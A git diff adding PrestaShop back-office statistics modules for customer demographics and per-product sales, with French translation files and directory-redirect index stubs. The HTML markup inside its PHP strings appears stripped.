+$_MODULE['<{statsorigin}prestashop>statsorigin_c227be237c874ba6b2f8771d7b66b90e'] = 'quelqu\'un qui a mis un lien de votre boutique sur son site'; +$_MODULE['<{statsorigin}prestashop>statsorigin_ea87a2280d5cdb638a2727147a3dd85c'] = 'un partenaire avec lequel vous avez fait un échange de lien visant à rapporter des ventes ou attirer de nouveaux clients'; +$_MODULE['<{statsorigin}prestashop>statsorigin_450a7e38e636dd49f5dfb356f96d3996'] = '10 premiers sites'; +$_MODULE['<{statsorigin}prestashop>statsorigin_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/modules/statsorigin/translations/index.php b/modules/statsorigin/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsorigin/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statspersonalinfos/index.php b/modules/statspersonalinfos/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/statspersonalinfos/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statspersonalinfos/logo.gif b/modules/statspersonalinfos/logo.gif new file mode 100755 index 0000000..899ecf5 Binary files /dev/null and b/modules/statspersonalinfos/logo.gif differ diff --git a/modules/statspersonalinfos/logo.png b/modules/statspersonalinfos/logo.png new file mode 100755 index 0000000..e27dfa5 Binary files /dev/null and b/modules/statspersonalinfos/logo.png differ diff --git a/modules/statspersonalinfos/statspersonalinfos.php b/modules/statspersonalinfos/statspersonalinfos.php new file mode 100755 index 0000000..70de7f1 --- /dev/null +++ b/modules/statspersonalinfos/statspersonalinfos.php @@ -0,0 +1,306 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsPersonalInfos extends ModuleGraph +{ + private $html = ''; + private $_query = ''; + private $_option; + + public function __construct() + { + $this->name = 'statspersonalinfos'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Registered customer information'); + $this->description = $this->l('Display characteristics such as gender and age.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + $this->html = '

        '.$this->displayName.'

        '; + if (count(Customer::getCustomers())) + { + if (Tools::getValue('export')) + if (Tools::getValue('exportType') == 'gender') + $this->csvExport(array('type' => 'pie', 'option' => 'gender')); + else if (Tools::getValue('exportType') == 'age') + $this->csvExport(array('type' => 'pie', 'option' => 'age')); + else if (Tools::getValue('exportType') == 'country') + $this->csvExport(array('type' => 'pie', 'option' => 'country')); + else if (Tools::getValue('exportType') == 'currency') + $this->csvExport(array('type' => 'pie', 'option' => 'currency')); + else if (Tools::getValue('exportType') == 'language') + $this->csvExport(array('type' => 'pie', 'option' => 'language')); + + $this->html .= ' +

        '.$this->l('Gender distribution allows you to determine the percentage of men and women shoppers in your store. ').'

        +
        '.$this->engine(array('type' => 'pie', 'option' => 'gender')).'

        +

        '.$this->l('CSV Export').'

        +

        +

        '.$this->l('Age ranges allow you to better understand target demographics. ').'

        +
        '.$this->engine(array('type' => 'pie', 'option' => 'age')).'

        +

        '.$this->l('CSV Export').'



        +

        '.$this->l('Country distribution allows you to analyze which part of the world your customers are shopping from.').'

        +
        '.$this->engine(array('type' => 'pie', 'option' => 'country')).'

        +

        '.$this->l('CSV Export').'



        +

        '.$this->l('Currency range allows you to determine which currency your customers are using.').'

        +
        '.$this->engine(array('type' => 'pie', 'option' => 'currency')).'

        +

        '.$this->l('CSV Export').'



        +

        '.$this->l('Language distribution allows you to analyze the browsing language used by your customers. ').'

        +
        '.$this->engine(array('type' => 'pie', 'option' => 'language')).'

        +

        '.$this->l('CSV Export').'

        + '; + } + else + $this->html .= '

        '.$this->l('No customers have registered yet.').'

        '; + $this->html .= ' +

        +

        '.$this->l('Guide').'

        +

        '.$this->l('Target your audience.').'

        +

        + '.$this->l('In order for each message to have an impact, you need to know who it is being addressed to. ').' + '.$this->l('Defining your target audience is essential when choosing the right tools to win them over.').' + '.$this->l('It is best to limit action to a group -- or groups -- of clients.').' + '.$this->l('Storing registered customer information allows you to accurately define customer profile so you can adapt your special deals and promotions.').' +


        +

        + '.$this->l('Increase your sales by').' +

          +
        • '.$this->l('launching targeted advertisement campaigns.').'
        • +
        • '.$this->l('Contact a group of clients by email or newsletter.').'
        • +
        +


        +
        '; + return $this->html; + } + + public function setOption($option, $layers = 1) + { + $this->_option = $option; + } + + protected function getData($layers) + { + switch ($this->_option) + { + case 'gender': + $this->_titles['main'] = $this->l('Gender distribution'); + $genders = array( + 0 => $this->l('Male'), + 1 => $this->l('Female'), + 2 => $this->l('Unknown'), + ); + + $sql = 'SELECT g.type, c.id_gender, COUNT(c.id_customer) AS total + FROM '._DB_PREFIX_.'customer c + LEFT JOIN '._DB_PREFIX_.'gender g ON c.id_gender = g.id_gender + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'c').' + GROUP BY c.id_gender'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $gendersResults = array(); + foreach ($result as $row) + { + $type = (is_null($row['type'])) ? 2 : $row['type']; + if (!isset($gendersResults[$type])) + $gendersResults[$type] = 0; + $gendersResults[$type] += $row['total']; + } + + foreach ($gendersResults as $type => $total) + { + $this->_values[] = $total; + $this->_legend[] = $genders[$type]; + } + break; + + case 'age': + $this->_titles['main'] = $this->l('Age Range'); + + // 0 - 18 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) < 18 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('0-18'); + } + + // 18 - 24 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) >= 18 + AND (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) < 25 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('18-24'); + } + + // 25 - 34 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) >= 25 + AND (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) < 35 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('25-34'); + } + + // 35 - 49 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) >= 35 + AND (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) < 50 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('35-49'); + } + + // 50 - 59 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) >= 50 + AND (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) < 60 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('50-59'); + } + + // More than 60 years + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE (YEAR(CURDATE()) - YEAR(`birthday`)) - (RIGHT(CURDATE(), 5) < RIGHT(`birthday`, 5)) >= 60 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `birthday` IS NOT NULL'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('60+'); + } + + // Total unknown + $sql = 'SELECT COUNT(`id_customer`) as total + FROM `'._DB_PREFIX_.'customer` + WHERE `birthday` IS NULL + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (isset($result['total']) && $result['total']) + { + $this->_values[] = $result['total']; + $this->_legend[] = $this->l('Unknown'); + } + break; + + case 'country': + $this->_titles['main'] = $this->l('Country distribution'); + $sql = 'SELECT cl.`name`, COUNT(c.`id_country`) AS total + FROM `'._DB_PREFIX_.'address` a + LEFT JOIN `'._DB_PREFIX_.'customer` cu ON cu.id_customer = a.id_customer + LEFT JOIN `'._DB_PREFIX_.'country` c ON a.`id_country` = c.`id_country` + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.`id_country` = cl.`id_country` AND cl.`id_lang` = '.(int)$this->context->language->id.') + WHERE a.id_customer != 0 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'cu').' + GROUP BY c.`id_country`'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = $row['name']; + } + break; + + case 'currency': + $this->_titles['main'] = $this->l('Currency distribution'); + $sql = 'SELECT c.`name`, COUNT(c.`id_currency`) AS total + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'currency` c ON o.`id_currency` = c.`id_currency` + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY c.`id_currency`'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = $row['name']; + } + break; + + case 'language': + $this->_titles['main'] = $this->l('Language distribution'); + $sql = 'SELECT c.`name`, COUNT(c.`id_lang`) AS total + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'lang` c ON o.`id_lang` = c.`id_lang` + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY c.`id_lang`'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + foreach ($result as $row) + { + $this->_values[] = $row['total']; + $this->_legend[] = $row['name']; + } + break; + } + } +} + + diff --git a/modules/statspersonalinfos/translations/en.php b/modules/statspersonalinfos/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statspersonalinfos/translations/fr.php b/modules/statspersonalinfos/translations/fr.php new file mode 100755 index 0000000..b79b07d --- /dev/null +++ b/modules/statspersonalinfos/translations/fr.php @@ -0,0 +1,37 @@ +statspersonalinfos_1b94af23fd8ea879910a6307460ebba4'] = 'Informations clients'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_ff9c34d2829b95a0936b22b409640143'] = 'Affiche la répartition de vos clients par âge, sexe ou pays'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_62a9b5081b2dab89113e94a0b4cb4be0'] = 'La répartition par sexe vous permet de déterminer le pourcentage d\'hommes et de femmes parmi vos clients.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_4c5625b65180ffa4f4ad215c2d5ef7d7'] = 'Les tranches d\'âges vous permettent de déterminer dans quelle tranche d\'âge se positionne votre clientèle.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_3a5c52ba51fe8f566a222da649c5e1f1'] = 'La répartition par pays vous permet de déterminer dans quelle partie du monde sont vos clients.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_e0fcbbd416a4872ec8f91fefa823debe'] = 'Les tranches de devise vous permettent de déterminer avec quelle devise vos clients payent.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_7cede292ed06f274bb9e8702738c058e'] = 'La répartition par langues vous permet de déterminer la langue qu\'utilisent généralement vos clients dans votre boutique.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_9fde3510abe63111086fd4288a19e1be'] = 'Aucun client enregistré pour le moment.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_ce2dd26ca39bdbc6444f4dad3fa5d5fe'] = 'Ciblez votre public'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_74036f0101d2f3f9b082b8de981c18dc'] = 'Pour que chacun de vos messages ait de l\'impact, il faut savoir à quelle clientèle vous vous adressez.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_daa0ad6a8b07a64f18b26e0f5e1255bd'] = 'S\'adresser au bon public est primordial afin de choisir les bons outils pour convaincre chacun des publics cibles.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_4f7fe9e063af69bcd7f73d2011722c00'] = 'Il est préférable de limiter son action à un ou plusieurs groupes de clients.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_04cac0902d33f8d779111bddde436f03'] = 'Les informations personnelles relatives aux clients vous permettent de mieux définir le profil du client type afin d\'adapter les promotions sur votre site en fonction des différents critères.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_1b97d8091d4b383e8316b5bf85b2194c'] = 'Nous vous conseillons d\'utiliser cette information pour faire accroitre vos ventes :'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_aaf4306af7449d0b6b99e8df15f422a2'] = 'préparez une campagne de publicité destinée à un groupe de clients susceptible d\'être intéressé par une offre en particulier, puis diffusez-la à des heures précises.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_416e130b744a7becbe84de8e251135bb'] = 'Contactez ces groupes de clients par e-mail ou avec une liste de diffusion.'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_8dc514f6da8c696c4a522efc145ad28a'] = 'Répartition par sexe'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_63889cfb9d3cbe05d1bd2be5cc9953fd'] = 'Homme'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_b719ce180ec7bd9641fece2f920f4817'] = 'Femme'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_88183b946cc5f0e8c96b2e66e1c74a7e'] = 'Inconnu'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_2d0f27acbb474dff9aba76851970618a'] = 'Tranches d\'âges'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_6e69fbf88d84db874f365542b0284a95'] = '0-18 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_b20e0ed6158978a3a23d092060b5dbab'] = '18-24 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_e5884ca49180d38295ee426c624d936c'] = '25-34 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_62ce9f61153b331eabe9efc2fc7eb5c2'] = '35-49 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_a7724f78dcdf2179c5ca651d15ed5b2c'] = '50-59 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_6a239f88f1aeb0561e7786b6120d1d5e'] = '60 ans'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_73b0130037e21b76351aebfd29d0b9aa'] = 'Répartition par pays'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_28e81c8343702f6c813cc31a7f90616a'] = 'Répartition par devise'; +$_MODULE['<{statspersonalinfos}prestashop>statspersonalinfos_f1dd68fb6a00d3e4d7f751deacde995d'] = 'Répartition par langue'; diff --git a/modules/statspersonalinfos/translations/index.php b/modules/statspersonalinfos/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statspersonalinfos/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsproduct/index.php b/modules/statsproduct/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsproduct/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsproduct/logo.gif b/modules/statsproduct/logo.gif new file mode 100755 index 0000000..2350555 Binary files /dev/null and b/modules/statsproduct/logo.gif differ diff --git a/modules/statsproduct/logo.png b/modules/statsproduct/logo.png new file mode 100755 index 0000000..f51f8ff Binary files /dev/null and b/modules/statsproduct/logo.png differ diff --git a/modules/statsproduct/statsproduct.php b/modules/statsproduct/statsproduct.php new file mode 100755 index 0000000..9b1d268 --- /dev/null +++ b/modules/statsproduct/statsproduct.php @@ -0,0 +1,433 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsProduct extends ModuleGraph +{ + private $html = ''; + private $_query = ''; + private $_option = 0; + private $_id_product = 0; + + public function __construct() + { + $this->name = 'statsproduct'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Product details'); + $this->description = $this->l('Get detailed statistics for each product.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function getTotalBought($id_product) + { + $dateBetween = ModuleGraph::getDateBetween(); + $sql = 'SELECT SUM(od.`product_quantity`) AS total + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.`id_order` = od.`id_order` + WHERE od.`product_id` = '.(int)$id_product.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND o.`date_add` BETWEEN '.$dateBetween; + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function getTotalSales($id_product) + { + $dateBetween = ModuleGraph::getDateBetween(); + $sql = 'SELECT SUM(od.`product_quantity` * od.`product_price`) AS total + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'orders` o ON o.`id_order` = od.`id_order` + WHERE od.`product_id` = '.(int)$id_product.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND o.`date_add` BETWEEN '.$dateBetween; + return (float)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + public function getTotalViewed($id_product) + { + $dateBetween = ModuleGraph::getDateBetween(); + $sql = 'SELECT SUM(pv.`counter`) AS total + FROM `'._DB_PREFIX_.'page_viewed` pv + LEFT JOIN `'._DB_PREFIX_.'date_range` dr ON pv.`id_date_range` = dr.`id_date_range` + LEFT JOIN `'._DB_PREFIX_.'page` p ON pv.`id_page` = p.`id_page` + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON pt.`id_page_type` = p.`id_page_type` + WHERE pt.`name` = \'product\' + '.Shop::addSqlRestriction(false, 'pv').' + AND p.`id_object` = '.(int)$id_product.' + AND dr.`time_start` BETWEEN '.$dateBetween.' + AND dr.`time_end` BETWEEN '.$dateBetween; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return isset($result['total']) ? $result['total'] : 0; + } + + private function getProducts($id_lang) + { + $sql = 'SELECT p.`id_product`, p.reference, pl.`name`, IFNULL(stock.quantity, 0) as quantity + FROM `'._DB_PREFIX_.'product` p + '.Product::sqlStock('p', 0).' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON p.`id_product` = pl.`id_product`'.Shop::addSqlRestrictionOnLang('pl').' + '.Shop::addSqlAssociation('product', 'p').' + '.(Tools::getValue('id_category') ? 'LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product`' : '').' + WHERE pl.`id_lang` = '.(int)$id_lang.' + '.(Tools::getValue('id_category') ? 'AND cp.id_category = '.(int)Tools::getValue('id_category') : '').' + ORDER BY pl.`name`'; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + private function getSales($id_product, $id_lang) + { + $sql = 'SELECT o.date_add, o.id_order, o.id_customer, od.product_quantity, (od.product_price * od.product_quantity) as total, od.tax_name, od.product_name + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.id_order = od.id_order + WHERE o.date_add BETWEEN '.$this->getDate().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.valid = 1 + AND od.product_id = '.(int)$id_product; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + private function getCrossSales($id_product, $id_lang) + { + $sql = 'SELECT pl.name as pname, pl.id_product, SUM(od.product_quantity) as pqty, AVG(od.product_price) as pprice + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.id_order = od.id_order + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.id_product = od.product_id AND pl.id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + WHERE o.id_customer IN ( + SELECT o.id_customer + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.id_order = od.id_order + WHERE o.date_add BETWEEN '.$this->getDate().' + AND o.valid = 1 + AND od.product_id = '.(int)$id_product.' + ) + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + AND o.date_add BETWEEN '.$this->getDate().' + AND o.valid = 1 + AND od.product_id != '.(int)$id_product.' + GROUP BY od.product_id + ORDER BY pqty DESC'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + public function hookAdminStatsModules($params) + { + $id_category = (int)Tools::getValue('id_category'); + $currency = Context::getContext()->currency; + + if (Tools::getValue('export')) + if (!Tools::getValue('exportType')) + $this->csvExport(array('layers' => 2, 'type' => 'line', 'option' => '42')); + + $this->html = '

        '.$this->displayName.'

        '; + if ($id_product = (int)Tools::getValue('id_product')) + { + if (Tools::getValue('export')) + if (Tools::getValue('exportType') == 1) + $this->csvExport(array('layers' => 2, 'type' => 'line', 'option' => '1-'.$id_product)); + else if (Tools::getValue('exportType') == 2) + $this->csvExport(array('type' => 'pie', 'option' => '3-'.$id_product)); + $product = new Product($id_product, false, $this->context->language->id); + $totalBought = $this->getTotalBought($product->id); + $totalSales = $this->getTotalSales($product->id); + $totalViewed = $this->getTotalViewed($product->id); + $this->html .= '

        '.$product->name.' - '.$this->l('Details').'

        +

        '.$this->l('Total bought:').' '.$totalBought.'

        +

        '.$this->l('Sales ( Figure does not include tax):').' '.Tools::displayprice($totalSales, $currency).'

        +

        '.$this->l('Total viewed:').' '.$totalViewed.'

        +

        '.$this->l('Conversion rate:').' '.number_format($totalViewed ? $totalBought / $totalViewed : 0, 2).'

        +
        '.$this->engine(array('layers' => 2, 'type' => 'line', 'option' => '1-'.$id_product)).'
        +
        +

        '.$this->l('CSV Export').'

        '; + if ($hasAttribute = $product->hasAttributes() && $totalBought) + $this->html .= '

        '.$this->l('Attribute sales distribution').'

        '.$this->engine(array('type' => 'pie', 'option' => '3-'.$id_product)).'

        +

        '.$this->l('CSV Export').'


        '; + if ($totalBought) + { + $sales = $this->getSales($id_product, $this->context->language->id); + $this->html .= ' +

        '.$this->l('Sales').'

        +
        + + + + + + + '.($hasAttribute ? '' : '').' + + + + '; + $tokenOrder = Tools::getAdminToken('AdminOrders'.(int)Tab::getIdFromClassName('AdminOrders').(int)$this->context->employee->id); + $tokenCustomer = Tools::getAdminToken('AdminCustomers'.(int)Tab::getIdFromClassName('AdminCustomers').(int)$this->context->employee->id); + foreach ($sales as $sale) + $this->html .= ' + + + + + '.($hasAttribute ? '' : '').' + + + '; + $this->html .= '
        '.$this->l('Date').''.$this->l('Order').''.$this->l('Customer').''.$this->l('Attribute').''.$this->l('Quantity').''.$this->l('Price').'
        '.Tools::displayDate($sale['date_add'], (int)$this->context->language->id, false).''.(int)($sale['id_order']).''.(int)($sale['id_customer']).''.$sale['product_name'].''.(int)$sale['product_quantity'].''.Tools::displayprice($sale['total'], $currency).'
        '; + + $crossSelling = $this->getCrossSales($id_product, $this->context->language->id); + if (count($crossSelling)) + { + $this->html .= '
        +

        '.$this->l('Cross selling').'

        +
        + + + + + + + + '; + $tokenProducts = Tools::getAdminToken('AdminProducts'.(int)Tab::getIdFromClassName('AdminProducts').(int)$this->context->employee->id); + foreach ($crossSelling as $selling) + $this->html .= ' + + + + + '; + $this->html .= '
        '.$this->l('Product name').''.$this->l('Quantity sold').''.$this->l('Average price').'
        '.$selling['pname'].''.(int)$selling['pqty'].''.Tools::displayprice($selling['pprice'], $currency).'
        '; + } + } + } + else + { + $categories = Category::getCategories((int)$this->context->language->id, true, false); + $this->html .= ' +
        +
        + + +
        +
        +

        '.$this->l('Click on a product to access its statistics!').'

        + +

        '.$this->l('Products available').'

        +
        + + + + + + + + '; + + foreach ($this->getProducts($this->context->language->id) as $product) + $this->html .= ' + + + + + '; + + $this->html .= '
        '.$this->l('Ref.').''.$this->l('Name').''.$this->l('Available quantity for sale').'
        '.$product['reference'].' + '.$product['name'].' + '.$product['quantity'].'


        + '.$this->l('CSV Export').'
        '; + } + + $this->html .= '

        +

        '.$this->l('Guide').'

        +

        '.$this->l('Number of purchases compared to number of views.').'

        +

        + '.$this->l('After choosing a category and selecting a product, informational graphs will appear.').' +

          +
        • '.$this->l('If you notice that a product is often purchased but viewed infrequently, you should display it more prominently in your Front Office. ').'
        • +
        • '.$this->l('On the other hand, if a product has many viewings but is not often purchased, + we advise you to check or modify this product\'s information, description and photography again.').' +
        • +
        +

        +
